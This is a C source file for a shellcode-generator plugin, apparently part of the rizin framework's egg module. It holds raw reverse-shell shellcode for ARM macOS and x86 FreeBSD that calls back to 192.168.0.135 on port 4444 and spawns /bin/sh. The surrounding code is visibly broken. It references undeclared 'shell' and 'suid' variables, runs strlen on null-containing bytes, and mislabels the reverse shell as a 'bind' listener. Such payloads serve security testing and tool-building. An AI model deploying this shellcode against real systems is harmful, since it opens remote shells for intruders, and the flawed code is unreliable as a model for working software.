egg_reverse.c

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// SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
// SPDX-License-Identifier: LGPL-3.0-only
 
#include <rz_egg.h>
 
unsigned long armle_osx_reverse[] = {
    0xe3a00002, 0xe3a01001, 0xe3a02006, 0xe3a0c061, 0xef000080, 0xe1a0a000, 0xeb000001,
    0x5c110200, //# port 4444
    0x8700a8c0, //# host 192.168.0.135
    0xe1a0000a, 0xe1a0100e, 0xe3a02010, 0xe3a0c062, 0xef000080,
    0xe3a05002, 0xe3a0c05a, 0xe1a0000a, 0xe1a01005, 0xef000080,
    0xe2455001, 0xe3550000, 0xaafffff8, 0xe3a00000, 0xe3a01001,
    0xe3a0c07e, 0xef000080, 0xe0455005, 0xe1a0600d, 0xe24dd020,
    0xe28f0014, 0xe4860000, 0xe5865004, 0xe1a01006, 0xe3a02000,
    0xe3a0c03b, 0xef000080,
    //# /bin/sh
    0x6e69622f, 0x0068732f
};
 
unsigned char x86_freebsd_reverse[] =
    "\xeb\x68\x5e\x31\xc0\x31\xdb\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x53\xb0\x61"
    "\xcd\x80\x89\xc2\xc6\x46\x01\x02\x66\xc7\x46\x02\x69\x7a\xb3\x10\x53\x8d\x1e"
    "\x53\x50\x50\xb0\x62\xcd\x80\x31\xdb\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53"
    "\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0\x5a\x50\xcd\x80\x31\xdb\x53\x8d"
    "\x7e\x0f\x31\xc0\x31\xc9\xb1\x09\xf3\xaa\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10"
    "\x51\x53\x50\xb0\x3b\xcd\x80\xb0\x01\xcd\x80\xe8\x93\xff\xff\xff\x41\x42\x43"
    "\x43\x7f\x00\x00\x01\x2f\x62\x69\x6e\x2f\x73\x68";
 
static RzBuffer *build(RzEgg *egg) {
    RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
    const ut8 *sc = NULL;
    int cd = 0;
    char *port = rz_egg_option_get(egg, "port");
    // TODO: char *udp = rz_egg_option_get (egg, "udp");
    switch (egg->os) {
    case RZ_EGG_OS_OSX:
    case RZ_EGG_OS_DARWIN:
        switch (egg->arch) {
        case RZ_SYS_ARCH_ARM:
            sc = armle_osx_reverse;
            cd = 7 + 36;
            break;
        }
        break;
    case RZ_EGG_OS_FREEBSD:
        switch (egg->arch) {
        case RZ_SYS_ARCH_X86:
            switch (egg->bits) {
            case 32: sc = x86_freebsd_reverse; break;
            default: eprintf("Unsupportted\n");
            }
            break;
        }
        break;
    default:
        eprintf("unsupported os %x\n", egg->os);
        break;
    }
    if (sc) {
        rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
        if (shell && *shell) {
            if (cd)
                rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
            else
                eprintf("Cannot set shell\n");
        }
    }
    free(suid);
    free(shell);
    return buf;
}
 
// TODO: rename plugin to run
RzEggPlugin rz_egg_plugin_bind = {
    .name = "bind",
    .type = RZ_EGG_PLUGIN_SHELLCODE,
    .desc = "listen port=4444",
    .build = (void *)build
};
 
#ifndef RZ_PLUGIN_INCORE
RZ_API RzLibStruct rizin_plugin = {
    .type = RZ_LIB_TYPE_EGG,
    .data = &rz_egg_plugin_bind,
    .version = RZ_VERSION
};
#endif